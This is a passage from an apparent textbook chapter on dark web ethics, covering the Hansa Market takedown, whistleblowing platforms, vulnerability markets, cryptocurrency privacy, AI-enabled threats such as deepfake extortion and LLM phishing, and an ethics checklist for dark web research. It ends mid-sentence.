The timing of the Hansa operation was particularly strategic because it coincided with the
FBI-led takedown of AlphaBay, the largest darknet marketplace at the time. When AlphaBay
was abruptly shut down in early July 2017, a massive influx of users migrated to Hansa,
which they perceived as a safe alternative. This migration exponentially increased the volume
of intelligence collected by Dutch authorities. Europol later described the move as “catching
criminals in the act,” as many AlphaBay vendors and buyers exposed themselves on Hansa
within days of AlphaBay’s demise.

On July 20, 2017, after weeks of covert operation, law enforcement shut down Hansa
Market and revealed their involvement. The announcement sent shockwaves through the
darknet community. Not only had authorities dismantled two of the largest marketplaces
within weeks, but they had also demonstrated the ability to operate a darknet site undetected.
In total, the operation resulted in the collection of data on tens of thousands of users and
vendors. Many of these individuals were later targeted in follow-up investigations, leading to
arrests and prosecutions worldwide.

The Hansa Market takedown marked a paradigm shift in darknet enforcement strategy.
Instead of merely dismantling criminal infrastructure, authorities could leverage their access
to generate long-term investigative leads. The operation also exposed the vulnerability of
darknet markets to infiltration. While many users believed that Tor and cryptocurrencies
guaranteed anonymity, the Hansa case showed that operational security lapses such as reus-
ing usernames, using non-anonymous Bitcoin wallets, or including identifying details in ship-
ment information could easily compromise them. From a technical perspective, the operation
highlighted law enforcement’s growing sophistication in areas like blockchain analysis, meta-
data collection, and exploiting server-side vulnerabilities. The Dutch police even published
parts of their code modifications in presentations to demonstrate how they had subverted
standard darknet security practices. Europol and the FBI emphasized that these operations
would continue to evolve, leveraging partnerships with private cybersecurity firms and other
international agencies.

The fallout from the Hansa takedown was profound. Many users abandoned darknet
marketplaces altogether, fearing that any platform could be a law enforcement honeypot.
Others shifted to decentralized markets and encrypted messaging applications, hoping to
regain a sense of security. However, the trust that once fueled darknet economies had
been severely eroded. Vendors, once confident in their ability to evade detection, were now
forced to reconsider their operational security. Law enforcement agencies, buoyed by the
success of the operation, began to view infiltration and covert control as viable alterna-
tives to traditional takedowns, shaping the next generation of cybercrime enforcement
strategies.
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Whistleblowing platforms

Whistleblowing platforms like SecureDrop and WikiLeaks represent one of the most trans-
formative yet polarizing phenomena in the digital age, operating at the intersection of trans-
parency, freedom of information, and national security. At their core, these platforms exist
to provide secure, anonymous channels for individuals, often insiders, to expose wrongdo-
ing, corruption, or abuses of power within governments and corporations. SecureDrop, for
instance, is an open-source platform adopted by major news organizations worldwide, includ-
ing The Washington Post and The Guardian, to allow whistleblowers to submit documents
without revealing their identities. It leverages strong encryption protocols, the Tor network
for anonymity, and isolated servers to prevent any digital trail that could be exploited by
adversaries. WikiLeaks, by contrast, functions more like a publishing organization, directly
disseminating large troves of documents received from anonymous sources. Together, these
platforms have reshaped journalism and public discourse, enabling citizens to access infor-
mation that might otherwise remain hidden behind layers of bureaucracy or classification.

From an ethical perspective, whistleblowing platforms serve an invaluable democratic
function by holding powerful institutions accountable. In liberal democracies, where trans-
parency is viewed as a pillar of governance, these platforms have exposed numerous cases
of malfeasance. WikiLeaks’ publication of the Iraq and Afghanistan war logs, for instance,
shed light on civilian casualties, covert operations, and diplomatic maneuvering that had
been concealed from public view. The revelations prompted debates about foreign policy,
military conduct, and the ethical responsibilities of governments during wartime. Similarly,
the Edward Snowden disclosures, facilitated in part through secure communication chan-
nels, revealed the existence of mass surveillance programs by the NSA and its allies, spark-
ing global debates about privacy, civil liberties, and the appropriate limits of state power.
SecureDrop has empowered journalists to investigate corporate fraud, environmental crimes,
and political corruption with unprecedented depth, often resulting in tangible reforms or
criminal prosecutions. Proponents argue that these outcomes illustrate the moral imperative
of whistleblowing platforms: by enabling transparency, they foster accountability and ulti-
mately strengthen the foundations of democratic governance.

Yet the very qualities that make whistleblowing platforms ethically praiseworthy also give
rise to significant ethical and security concerns. The publication of vast troves of sensitive
documents can inflict collateral damage, endanger individuals, and undermine legitimate gov-
ernment functions. WikiLeaks, for example, has been criticized for its indiscriminate release
of documents without sufficient redaction. In some cases, leaked files have included the names
of intelligence operatives, local informants, or activists, placing their lives at risk. Critics argue
that such actions betray a lack of ethical responsibility, as they can compromise counterter-
rorism operations, intelligence networks, and ongoing diplomatic efforts. The 2010 release
of U.S. diplomatic cables by WikiLeaks strained relationships with foreign governments and
hindered backchannel negotiations, demonstrating how leaks can have far-reaching geopo-
litical consequences. Even in cases where harm to individuals is not immediately evident, the
erosion of trust between governments and their allies can weaken collective security efforts.

Moreover, whistleblowing platforms have faced allegations of political bias and manipula-
tion. WikiLeaks, in particular, has been accused of selectively releasing information to influence
electoral outcomes, most notably during the 2016 U.S. presidential election. While the orga-
nization denies such allegations, critics argue that its actions may have inadvertently aligned
with the interests of hostile foreign powers, undermining its claim to impartiality. This percep-
tion of bias complicates the ethical calculus, as it suggests that whistleblowing platforms can
be weaponized for political or ideological ends rather than purely serving the public interest.
SecureDrop, by contrast, is generally insulated from such accusations because it operates as
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an infrastructure tool for journalists rather than a publisher. However, even SecureDrop is not
immune to misuse; malicious actors could potentially submit forged documents to manipulate
media narratives, exploiting the trust placed in the platform’s anonymity guarantees.

The ethical debate surrounding whistleblowing platforms is further complicated by the
legal frameworks that govern classified information. Governments argue that the unauthor-
ized disclosure of sensitive documents constitutes a breach of national security, regardless of
the whistleblower’s intentions. Laws like the U.S. Espionage Act carry severe penalties for
leakers, creating a chilling effect on potential whistleblowers. From the state’s perspective,
classification systems exist to protect lives and maintain strategic advantages, and bypassing
those systems can endanger both. On the other hand, critics contend that classification is
often overused to conceal embarrassing or politically inconvenient information rather than
genuine security risks. In this view, whistleblowing platforms serve as a necessary check on
the state’s tendency toward secrecy, ensuring that citizens are not kept in the dark about
actions carried out in their name.

Technologically, whistleblowing platforms embody a paradox: the same cryptographic tools
that protect whistleblowers from retribution also make it difficult to hold them accountable
for any harm their disclosures may cause. SecureDrop’s design, which deliberately minimizes
the data it collects about users, means that neither journalists nor authorities can trace sub-
missions back to their source. This architecture is essential for protecting whistleblowers in
authoritarian regimes where exposure could result in imprisonment or execution. Yet it also
allows bad-faith actors to exploit the system with relative impunity. Similarly, the decentral-
ized nature of platforms like WikiLeaks makes them resilient to takedown efforts, ensuring
that once information is published, it remains accessible indefinitely. While this permanence
is celebrated by transparency advocates, it also means that errors or harmful content cannot
easily be retracted.

The ethical discourse surrounding whistleblowing platforms is therefore one of balance.
Advocates emphasize that the public’s right to know is paramount in a functioning democ-
racy, and that platforms like SecureDrop and WikiLeaks empower individuals to chal-
lenge entrenched power structures. They argue that the occasional harms caused by leaks
are outweighed by the systemic benefits of increased transparency. Opponents counter that
the indiscriminate release of classified information undermines national security, damages
international relations, and endangers lives, all without the accountability mechanisms that
traditional journalism provides. Some propose a middle ground, in which whistleblowing
platforms collaborate more closely with established news organizations to vet and redact
documents before publication, thereby mitigating harm while preserving the core mission of
transparency.

The ethical dilemmas posed by whistleblowing platforms will likely persist as technology
continues to evolve. Advances in encryption, anonymization, and distributed networks will
make it increasingly difficult for governments to prevent or control leaks, shifting the bur-
den of ethical decision-making onto the platforms themselves. At the same time, the grow-
ing complexity of global security threats will heighten the stakes of information disclosure.
Whether whistleblowing platforms ultimately strengthen or weaken democratic institutions
will depend on how they navigate this precarious terrain. Their challenge is to reconcile the
imperative of transparency with the equally compelling need to protect individuals and main-
tain public safety, a task that may never yield a universally satisfactory solution.

Vulnerability markets

Cybersecurity vulnerability markets are an integral yet controversial aspect of the broader
cybersecurity landscape, operating as arenas where information about software flaws and
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exploits is traded. These markets, both legal and illegal, raise profound ethical and security
concerns because they influence who gains access to potentially devastating hacking tools
and how quickly vulnerabilities are patched. On the legitimate side, vulnerability markets
enable researchers to disclose flaws responsibly, often through structured bug bounty pro-
grams offered by major companies like Google, Microsoft, and Facebook. These programs
provide financial incentives to security researchers to report vulnerabilities directly to ven-
dors, ensuring flaws are patched before they can be exploited. Such responsible disclosure
strengthens overall security, protects consumers, and builds trust between researchers and
corporations. For example, Google’s Project Zero team has gained renown for proactively
identifying and disclosing zero-day vulnerabilities, bugs unknown to the vendor, forcing ven-
dors to patch them within a set time frame. This approach exemplifies the ethical ideal of
vulnerability markets: vulnerabilities are used to strengthen, not undermine, the collective
security of the internet.

However, beyond the legal, structured markets lies a shadow economy where zero-day vul-
nerabilities are sold to the highest bidder, regardless of intent. These underground markets are
often accessible only on darknet forums and operate with significant secrecy. Prices for zero-
day exploits, those for which no vendor patch exists, range from tens of thousands to over
a million dollars, depending on the software’s prevalence and the exploit’s sophistication.
While some buyers may be legitimate security firms or government agencies, many others are
criminal syndicates or nation-states seeking offensive cyber capabilities. When vulnerabilities
are sold to actors who weaponize them for espionage, sabotage, or financial gain, the impact
can be catastrophic. This was demonstrated in 2017 when the Shadow Brokers group leaked
NSA-developed tools, including the EternalBlue exploit, which targeted a Windows SMB
vulnerability. The leak was eventually used by cybercriminals and nation-states to launch
global ransomware campaigns like WannaCry and destructive attacks like NotPetya, causing
billions of dollars in damage.

The ethical tension in vulnerability markets is further heightened by the role of govern-
ments. Many states have their own stockpiles of zero-day vulnerabilities, which they use
to develop offensive cyber tools. Proponents argue that such capabilities are necessary for
national security, allowing governments to counter adversaries and maintain strategic advan-
tages in cyberspace. Critics, however, contend that this practice prioritizes offensive capabili-
ties over defensive security, leaving citizens vulnerable to the same exploits should they be
discovered by malicious actors. The U.S. government’s Vulnerabilities Equities Process (VEP)
was designed to address this dilemma by weighing the benefits of disclosing a vulnerability
against the advantages of retaining it for offensive use. Yet the process has been criticized as
opaque and biased toward retention, reinforcing perceptions that governments are willing to
compromise public safety for strategic gain.

In the private sector, gray-market vulnerability brokers like Zerodium have emerged as sig-
nificant players, buying vulnerabilities from researchers and reselling them to governments or
other high-paying clients. While these companies often claim to sell exclusively to “trusted”
customers, the lack of transparency in their operations makes it difficult to verify such claims.
Critics argue that the gray market incentivizes researchers to withhold vulnerabilities from
vendors, delaying the patching process and leaving users exposed. Others contend that these
markets professionalize and legitimize the sale of offensive cyber capabilities, effectively arm-
ing governments and corporations in ways that can undermine civil liberties.

From an ethical perspective, the debate hinges on the intended use of vulnerabilities and
the potential harm caused by their exploitation. Responsible disclosure programs operate on
the assumption that vulnerabilities should be fixed as quickly as possible to protect users,
even if doing so diminishes offensive cyber capabilities. Underground and gray markets,
by contrast, often reward secrecy and exclusivity, creating incentives for vulnerabilities to
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remain unpatched. This asymmetry disproportionately benefits well-resourced actors, such
as nation-states and organized cybercriminal groups, who can purchase exploits and deploy
them with impunity. The ethical dilemma is compounded by the fact that many software
vendors do not pay competitive rewards for vulnerabilities, pushing researchers toward the
more lucrative gray and black markets.

Technologically, vulnerability markets are evolving rapidly. The rise of exploit-as-a-ser-
vice offerings has lowered the barrier to entry for cyberattacks, allowing even low-skilled
adversaries to rent sophisticated tools. Cryptocurrency payments have further anonymized
transactions, making it harder for law enforcement to disrupt illicit markets. Some under-
ground forums even offer warranties on exploits, promising refunds if the buyer is dissatis-
fied. These practices underscore the extent to which vulnerability markets have matured into
fully-fledged industries.

Addressing the ethical and security challenges posed by vulnerability markets requires a
multi-pronged approach. Governments must strike a balance between maintaining offensive
capabilities and ensuring the safety of their citizens, a balance that demands greater transpar-
ency in processes like the VEP. Vendors must invest more in bug bounty programs and engage
more effectively with the security research community to make responsible disclosure finan-
cially viable. Internationally, there is a pressing need for norms and agreements that limit
the proliferation of offensive cyber tools, akin to arms control treaties in the physical world.
Without such measures, vulnerability markets will continue to fuel a cycle of exploitation
that undermines global cybersecurity.

Ultimately, the ethical assessment of vulnerability markets is inseparable from broader
questions about power, trust, and the role of the state in cyberspace. When vulnerabilities
are hoarded or sold to the highest bidder, they become instruments of coercion and control
rather than tools for improving security. The responsible path forward lies in fostering a cul-
ture of collaboration and accountability, ensuring that the discovery of a vulnerability leads
to greater resilience rather than greater risk.

Dark Web forums for victims

Dark web forums are often vilified as hubs of criminality, yet they also serve as critical lifelines
for vulnerable populations seeking safety and support. Ethically, forums that cater to abuse
survivors, political dissidents, and whistleblowers provide invaluable resources in environ-
ments where traditional avenues of assistance are inaccessible or dangerous. In authoritarian
regimes where surveillance is pervasive and dissent is harshly punished, Dark Web forums
can offer a degree of anonymity that allows activists to organize protests, share information,
and coordinate humanitarian aid. Similarly, survivors of sexual or domestic abuse may turn
to these forums for peer support, legal advice, or guidance on escaping dangerous situations.
By leveraging encryption and the Tor network, these forums protect users from being tracked
by abusers, oppressive governments, or other adversaries. In such contexts, the Dark Web’s
promise of anonymity fulfills a vital ethical function, empowering marginalized individuals
who might otherwise be silenced.

However, the same features that make Dark Web forums safe havens for victims also
make them attractive to those who wish to perpetrate harm. Numerous forums are dedi-
cated to child exploitation, human trafficking, and extremist ideologies, fostering communi-
ties that normalize and encourage abuse. These forums not only facilitate the distribution
of illegal content but also create networks that enable offenders to evade law enforcement.
For example, some forums employ advanced vetting processes and encryption protocols to
ensure that only trusted members can access the most sensitive materials, making infiltration
by investigators extremely challenging. The harm caused by these communities is profound:
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they perpetuate cycles of abuse, radicalize individuals, and in some cases, incite real-world
violence.

The ethical challenge lies in differentiating forums that genuinely support victims from
those that exploit them. Law enforcement agencies often face a dilemma: aggressive efforts to
shut down harmful forums can inadvertently disrupt legitimate support communities, leaving
vulnerable users without resources. Conversely, allowing forums to operate unchecked risks
enabling serious crimes. This tension is evident in the takedown of sites like Backpage, which
was accused of facilitating sex trafficking but also provided a platform for sex workers to
screen clients and avoid dangerous situations. Critics of the takedown argued that it pushed
the industry further underground, making it more dangerous for the very individuals it was
meant to protect.

From a technological perspective, Dark Web forums are becoming increasingly sophisti-
cated in their security measures. Many employ multi-factor authentication, invitation-only
membership, and decentralized hosting to evade detection. These measures protect legiti-
mate users from surveillance but also frustrate efforts to dismantle harmful communities.
Advances in encryption have further complicated the ability of law enforcement to gather
evidence, prompting some governments to advocate for “backdoors” in secure communica-
tion platforms. Privacy advocates warn that such measures would erode the security of all
users, not just criminals, and could be exploited by authoritarian regimes.

Ethically, the debate over Dark Web forums reflects broader tensions between privacy and
security. Supporters of privacy argue that anonymity is essential for protecting vulnerable
individuals and fostering free expression, particularly in repressive environments. Opponents
counter that unfettered anonymity enables impunity for those who commit heinous crimes.
The challenge is to develop strategies that protect victims without inadvertently empowering
perpetrators. This may involve closer collaboration between law enforcement and trusted
NGOs, greater investment in digital literacy and security training for at-risk populations,
and more nuanced approaches to content moderation that distinguish between harmful and
beneficial communities.

Ultimately, Dark Web forums are neither inherently good nor inherently bad; they are tools
whose ethical impact depends on how they are used. While some forums represent the dark-
est corners of human behavior, others embody the potential of technology to empower and
protect the marginalized. Crafting policies that acknowledge this complexity is essential to
ensuring that the Dark Web remains a refuge for victims rather than a sanctuary for abusers.

Financial privacy and cryptocurrencies

Cryptocurrencies like Bitcoin, Ethereum, and privacy-focused coins such as Monero and
Zcash have transformed the global financial landscape by offering users unprecedented con-
trol over their money, reducing reliance on centralized intermediaries, and enhancing privacy
in transactions. At their core, cryptocurrencies are built on decentralized blockchain technol-
ogy, which allows peer-to-peer transfers without requiring banks or governments to verify
or facilitate payments. This innovation has far-reaching ethical implications, both positive
and negative, particularly when viewed through the lens of financial privacy and its potential
misuse for illicit activities.

From an ethical perspective, cryptocurrencies serve as vital tools for protecting individ-
ual freedom, especially in repressive or unstable regimes where governments weaponize the
financial system to exert control over citizens. For dissidents and journalists in authoritar-
ian countries, cryptocurrencies can provide a lifeline, allowing them to receive donations,
pay for services, or transfer funds without fear of bank account seizures or state surveil-
lance. Financial privacy is a core component of personal autonomy, and cryptocurrencies
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enable individuals to retain this autonomy by bypassing traditional financial institutions that
may be complicit in government overreach. In regions plagued by hyperinflation, such as
Venezuela and Zimbabwe, cryptocurrencies also provide a hedge against collapsing national
currencies, empowering citizens to preserve their savings and conduct international trade.
These use cases illustrate the ethical dimension of cryptocurrencies as democratizing financial
tools that reduce barriers to participation in the global economy and protect individuals from
systemic injustices.

Moreover, the underlying principles of decentralization align with the values of transpar-
ency and accountability. Public blockchains like Bitcoin and Ethereum record all transactions
on immutable ledgers, reducing the potential for corruption and fraud by making financial
activity auditable by anyone. Smart contracts—self-executing agreements encoded on block-
chains further enhance trust by automating transactions according to predefined rules, mini-
mizing the need for intermediaries who might abuse their power. Advocates argue that these
innovations have the potential to create a more equitable financial system, one that is less
prone to manipulation by elites and more accessible to the billions of unbanked individuals
worldwide.

However, the same characteristics that make cryptocurrencies ethically appealing also
enable harmful and criminal activities. The pseudo-anonymity of Bitcoin and the strong pri-
vacy guarantees of coins like Monero have made cryptocurrencies the payment method of
choice for cybercriminals, terrorists, and other malicious actors. Ransomware attacks, for
instance, often demand payment in Bitcoin or other cryptocurrencies because they can be
transferred quickly and are difficult to trace. These attacks have targeted hospitals, criti-
cal infrastructure, and small businesses, causing widespread disruption and financial losses.
Similarly, terrorist organizations have experimented with using cryptocurrencies to solicit
donations, exploiting the difficulty of monitoring decentralized networks.

Cryptocurrencies also play a significant role in money laundering and the black-market
economy. Darknet marketplaces like Silk Road, AlphaBay, and Dream Market relied heavily
on Bitcoin as their primary currency, enabling anonymous transactions for drugs, weapons,
and other illicit goods. While blockchain analysis tools have improved law enforcement’s
ability to trace Bitcoin transactions, privacy-focused cryptocurrencies such as Monero and
Zcash pose greater challenges. These coins use advanced cryptographic techniques to obfus-
cate transaction details, making it nearly impossible for investigators to determine who sent
funds to whom. Critics argue that such technologies undermine efforts to combat money
laundering, tax evasion, and terrorist financing, thereby threatening global security.

The ethical tension surrounding cryptocurrencies is further complicated by their envi-
ronmental impact and the speculative nature of the market. Bitcoin mining, which involves
solving complex mathematical puzzles to secure the network, consumes vast amounts of
electricity, contributing to carbon emissions and raising concerns about sustainability. At
the same time, the volatility of cryptocurrency prices has led to boom-and-bust cycles that
can wipe out the savings of inexperienced investors. Scams and fraudulent initial coin offer-
ings (ICOs) have proliferated, preying on individuals who lack the technical knowledge to
navigate the complex cryptocurrency ecosystem. While these issues are not inherent to the
technology itself, they highlight the potential for harm when cryptocurrencies are deployed
without adequate safeguards.

Governments and regulators worldwide are grappling with how to balance the benefits of
cryptocurrencies with the need to prevent their misuse. Anti-money laundering (AML) and
know-your-customer (KYC) regulations have been extended to cryptocurrency exchanges in
many jurisdictions, requiring users to verify their identities before trading. While these mea-
sures can help curb illicit activity, they also erode the privacy that makes cryptocurrencies
attractive to legitimate users, particularly those in oppressive regimes. Some policymakers
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have proposed banning privacy-focused coins altogether, arguing that their potential for
abuse outweighs their benefits. Privacy advocates counter that such bans would undermine
financial freedom and drive innovation underground, where it would be harder to monitor
or regulate.

The ethical debate over cryptocurrencies thus mirrors broader societal tensions between
individual rights and collective security. On one hand, financial privacy is a fundamental
human right, and cryptocurrencies empower individuals to exercise that right in ways that
traditional banking systems cannot. On the other hand, absolute privacy can shield crimi-
nals from accountability, creating risks that extend far beyond the digital realm. Resolving
this tension requires nuanced policies that target illicit actors without stifling innovation or
infringing on legitimate uses of the technology.

One potential solution lies in the development of privacy-enhancing technologies that
allow selective disclosure. Projects like zk-SNARKSs (zero-knowledge succinct non-interactive
arguments of knowledge) enable users to prove the validity of a transaction without reveal-
ing its details, offering a compromise between privacy and transparency. Similarly, regulatory
approaches that focus on the points where cryptocurrencies interface with the traditional
financial system—such as exchanges and payment processors can help prevent misuse with-
out undermining the core principles of decentralization.

Ultimately, the ethical assessment of cryptocurrencies depends on how they are used and
governed. When deployed responsibly, they can empower individuals, foster financial inclu-
sion, and create more transparent economic systems. When misused, they can facilitate crime,
terrorism, and environmental harm. The challenge for policymakers, developers, and users
alike is to harness the transformative potential of cryptocurrencies while mitigating their
risks. This will require ongoing collaboration between the public and private sectors, as well
as a willingness to adapt as the technology evolves.

Cryptocurrencies are not merely financial instruments; they are social and political tools
that reflect deeper debates about trust, freedom, and the role of the state. As such, any ethical
evaluation must consider not only the technology’s immediate effects but also its long-term
implications for society. Will cryptocurrencies usher in a more equitable and resilient finan-
cial system, or will they exacerbate existing inequalities and empower malicious actors? The
answer will depend on the choices made by all stakeholders in the years to come.

4.4 NEW ETHICAL CHALLENGES FROM DARK AI

The rise of artificial intelligence models with enhanced capabilities has fundamentally altered
the threat landscape, particularly when weaponized in the darker corners of the internet.
Dark Al refers to artificial intelligence systems that are deliberately designed, modified, or
repurposed for malicious intent. Among the most troubling applications of Dark Al are deep-
fake extortion, automated phishing campaigns, and Al-driven cyberweapons. Each of these
activities leverages sophisticated algorithms to bypass traditional cybersecurity defenses and
exploit the psychological or technical vulnerabilities of targets.

Deepfake extortion is one of the most disturbing threats. Al-driven generative adversar-
ial networks (GANSs) and diffusion models can now fabricate hyper-realistic videos, audio
recordings, and images with minimal data. In earlier eras, deepfakes required hours of video
training data and expert-level technical skills, but now, tools capable of producing convinc-
ing fabrications can be run with a handful of images or short audio clips. Threat actors lever-
age these capabilities to blackmail individuals or organizations, claiming they will release
fake compromising material unless a ransom is paid. Beyond the personal humiliation such
attacks can cause, corporate targets may face irreversible brand damage. The automation
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layer powered by Dark Al further complicates detection: extortion campaigns can be scaled
to thousands of victims simultaneously, each receiving personalized threats with unique
fabricated media that resist hash-based detection.

Automated phishing attacks have likewise evolved with Dark Al. Traditional phishing
relied on poorly worded emails and manually managed spoofed domains, but large lan-
guage models (LLMs) now enable the creation of highly convincing, context-aware mes-
sages. Malicious actors use Dark Al to scrape publicly available data (social media profiles,
LinkedIn accounts, corporate press releases) and generate phishing emails tailored to specific
individuals® professional roles, interests, or recent activities. This approach is called spear-
phishing at scale, where the precision of spear-phishing meets the volume of mass phishing.
Some Dark Al systems can even engage in real-time chat interactions with potential vic-
tims, mimicking human-like patience and linguistic nuance. These models are integrated with
credential-stuffing frameworks, allowing attackers to rapidly test stolen login combinations
across multiple services. The cumulative effect is a massive increase in the success rate of
phishing campaigns, rendering traditional detection measures such as static keyword filters
obsolete.

Al-driven cyberweapons constitute the most technically sophisticated manifestation of
Dark Al Unlike conventional malware that follows predictable patterns, Dark AI cyber-
weapons can dynamically adapt to their environment. These systems can scan networks,
identify the presence of defensive tools (firewalls, intrusion detection systems, endpoint pro-
tection), and modify their behavior in real time to evade detection. Advanced reinforcement
learning techniques allow such malware to autonomously explore networks, privilege esca-
late, and exfiltrate data while minimizing the chance of exposure. Some Dark Al-powered
ransomware strains now feature polymorphic encryption engines, making each instance of
the malware cryptographically unique and resistant to signature-based detection. There are
also cases where Dark Al has been used to automate exploit generation by identifying zero-
day vulnerabilities through code analysis, dramatically shortening the time between vulner-
ability discovery and weaponization.

The ethical challenges presented by these tools are profound. Law enforcement agencies
and private-sector defenders must confront adversaries who can deploy these capabilities at
scale. Traditional attribution becomes even harder because Al can automatically obfuscate
its tracks. Additionally, the deployment of countermeasures such as defensive deepfake detec-
tion algorithms or automated takedown services introduces their own risks of false positives,
potentially harming innocent individuals. There is also a growing arms race dynamic: as
defenders leverage Al for protection, adversaries push their Dark Al tools to become even
more evasive and autonomous.

While Dark AI introduces unprecedented threats, Al also provides opportunities to
strengthen defensive capabilities, especially in areas like threat intelligence collection and
Dark Web monitoring. The Dark Web—an anonymized layer of the internet accessible pri-
marily through Tor, I2P, and similar anonymity networks—remains a hub for illicit activities,
from the trade of stolen credentials to illegal narcotics markets and underground cybercrime
forums. Identifying and mitigating threats emerging from these environments has historically
been a resource-intensive and risky endeavor. Al-enabled tools, however, can automate the
collection and analysis of Dark Web data at scale.

One of the key beneficial applications lies in threat detection pipelines powered by natural
language processing (NLP). Al systems can scrape textual content from forums, chat channels,
and vendor listings, then use advanced NLP techniques to extract key entities (usernames,
product names, threat actor groups) and detect emerging trends. For instance, transformer-
based models can perform context-aware analysis to determine whether a discussion about
a newly discovered software vulnerability might lead to an exploit marketplace. These tools
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can flag relevant data for further review by analysts, reducing the noise generated by the mas-
sive volume of daily posts on Dark Web platforms.

Al can also facilitate image and multimedia analysis on the Dark Web. Cybercrime groups
often post screenshots of stolen databases, images of counterfeit products, or videos demon-
strating new exploit tools. Convolutional neural networks (CNNs) and vision transformers
can automatically classify these media files, detecting indicators such as brand logos (useful
for tracking counterfeit operations) or identifying patterns indicative of child exploitation
material. Such capabilities are vital because human analysts cannot manually review every
item without exposing themselves to harmful or illegal content.

Another promising application is behavioral pattern recognition. Machine learning models
can analyze transaction data on Dark Web marketplaces to identify abnormal patterns sug-
gesting fraud or law enforcement stings. Graph neural networks (GNNs) can map relation-
ships between vendors, buyers, and intermediaries, highlighting clusters of activity that may
correspond to organized crime rings. This level of analysis is beyond the capacity of most
human investigators, but Al can sift through the vast, decentralized networks of activity and
prioritize high-value leads.

These Al-enabled monitoring efforts are not limited to government or corporate enti-
ties. There is growing interest in collaborative threat intelligence platforms, where multiple
organizations share anonymized findings from Dark Web analyses. Federated learning tech-
niques allow participating entities to train shared models without disclosing sensitive data,
thereby improving the overall detection capabilities of the community. However, these ben-
eficial applications still raise ethical questions around privacy and data collection practices,
particularly when scraping semi-private forums or tracking individual actors.

The broader impact of Al in Dark Web threat detection is significant. By automating much
of the tedious data collection and triage work, Al allows human analysts to focus on higher-
order tasks such as attribution, strategic mitigation, and policy development. These tools
can disrupt illicit marketplaces, provide early warnings about ransomware campaigns, and
assist in dismantling criminal infrastructures. Yet, as these systems become more powerful,
the boundary between legitimate intelligence gathering and intrusive surveillance becomes
increasingly blurred, necessitating robust ethical oversight.

The use of Al tools to scrape darknet markets raises a complex set of ethical and legal ques-
tions. Darknet markets, while often associated with illegal activities such as drug trafficking,
weapons sales, and the trade of stolen data, also occasionally host users who are not engaged
in criminal conduct. Furthermore, these markets rely on anonymity tools like Tor precisely
to protect user identities from surveillance. When Al-enabled systems systematically harvest
data from these platforms, they may inadvertently undermine this anonymity, raising issues
about privacy, even for users engaged in unlawful acts.

From a technical perspective, Al scraping tools operate by automating the collection of
structured and unstructured data across multiple marketplaces, forums, and encrypted com-
munication channels. These systems may use crawlers capable of bypassing CAPTCHA
challenges, NLP pipelines to classify content, and graph analysis tools to map relationships
between buyers and sellers. In many cases, they retain detailed metadata such as timestamps,
user pseudonyms, cryptocurrency wallet addresses, and transaction histories. The sheer scale
and persistence of these tools mean that individuals who believed they were operating in a
privacy-preserving environment can suddenly find their activities aggregated and analyzed.

One ethical dilemma is whether the act of scraping constitutes a violation of privacy rights,
particularly when targeting forums that are intentionally closed or require authentication.
Proponents argue that individuals who engage in illegal trade forfeit their expectation of
privacy, especially when the information is already accessible to any other user who gains
access. However, opponents note that mass surveillance mechanisms can easily be misapplied.
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There have been documented cases where Al scraping systems collected data on journalists
or researchers operating undercover, inadvertently exposing them. Additionally, scraped data
can be leaked or mishandled, potentially harming individuals who were falsely identified as
participants in illicit activities.

The legal landscape is similarly ambiguous. In some jurisdictions, automated scraping may
be considered unauthorized access, especially when it involves bypassing access controls.
However, law enforcement agencies often justify the practice as necessary for combating
crime. Private cybersecurity firms that engage in such scraping may operate in a gray area,
as their activities could be construed as vigilantism if not formally sanctioned by authorities.
These legal ambiguities are further complicated by international dimensions: a scraping tool
operated from one country might harvest data from servers located in another, triggering
conflicts of jurisdiction.

The issue becomes even more contentious when considering the secondary use of scraped
data. Once collected, the data may be stored indefinitely, shared with other entities, or sold to
third parties. This can lead to a chilling effect on legitimate users who may access the Dark
Web for reasons such as political dissent or seeking privacy in repressive regimes. Even if the
initial intention is to target criminal actors, the net often catches innocent individuals whose
data is then exposed or exploited.

The ethical debate hinges on proportionality and oversight. There is a compelling public
interest in dismantling criminal networks and preventing harm, but the methods used must be
scrutinized to ensure they do not become tools of indiscriminate surveillance. Transparency
about the scope of data collection, rigorous access controls, and mechanisms for independent
review can help balance the competing interests of security and privacy. Without such safe-
guards, Al scraping could normalize practices that erode anonymity on the internet, setting a
dangerous precedent for broader state or corporate surveillance.

Engaging with Dark Web content, whether for law enforcement, cybersecurity research,
or academic purposes, carries significant ethical risks. To navigate this terrain responsibly,
practitioners must adopt robust frameworks that clearly delineate acceptable conduct. One
effective approach is to maintain a checklist of ethical red flags that should trigger additional
scrutiny or halt an activity altogether.

¢ Unauthorized Access: Any attempt to access Dark Web platforms that requires creden-
tial bypassing, exploitation of vulnerabilities, or other forms of hacking constitutes
unauthorized access. Even if the ultimate goal is to collect threat intelligence, such
activities can violate both legal statutes and ethical norms. Organizations should ensure
that all engagements occur within the bounds of established legal frameworks and that
they have explicit authorization when required.

¢ Collection of Personally Identifiable Information (PII): Dark Web scraping tools often
collect data en masse, and it is easy to inadvertently gather PII such as email addresses,
phone numbers, or physical addresses. Ethical guidelines should mandate that any
PII collected be minimized, securely stored, and used strictly for its intended purpose.
Retention policies should be explicit, with automatic deletion of data after a predefined
period unless it is essential for ongoing investigations.

e Secondary Data Use: A major red flag arises when data collected for one purpose is
repurposed for another without oversight. For instance, using scraped Dark Web data
to train machine learning models unrelated to cybersecurity could lead to misuse or
exposure of sensitive information. Organizations must enforce strict data governance
policies and ensure secondary use is reviewed by an independent ethics board.

¢ Targeting of Innocent Actors: It is common for Dark Web investigations to inadver-
tently affect individuals who are not engaged in criminal activity. A checklist should
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include mechanisms for identifying and protecting such individuals, especially jour-
nalists, researchers, or activists who may be operating undercover. This could include
establishing protocols for purging data that pertains to clearly innocent parties.

¢ Covert Operations and Entrapment: Law enforcement agencies sometimes conduct
sting operations on Dark Web markets, but ethical red flags should be raised if these
operations cross into entrapment or disproportionately target vulnerable individuals.
Oversight mechanisms must ensure that investigative techniques remain focused and
proportionate to the threat.

e Harmful Content Exposure: Researchers and analysts working with Dark Web data
often encounter disturbing material, such as child exploitation imagery or violent
extremist propaganda. Ethical guidelines should address the mental health impact of
such exposure, mandating support systems and minimizing unnecessary contact with
harmful content through the use of automated filtering tools.

e Jurisdictional and International Law Conlflicts: Because the Dark Web is inherently
global, actions taken by one entity may have unintended legal consequences in another
jurisdiction. A thorough legal review should be part of any engagement, and practitio-
ners must avoid actions that could create diplomatic or legal liabilities.

By institutionalizing these checklists, organizations can create a culture of accountability.
Additionally, the use of ethics-by-design in Al tools, ensuring that systems are built with con-
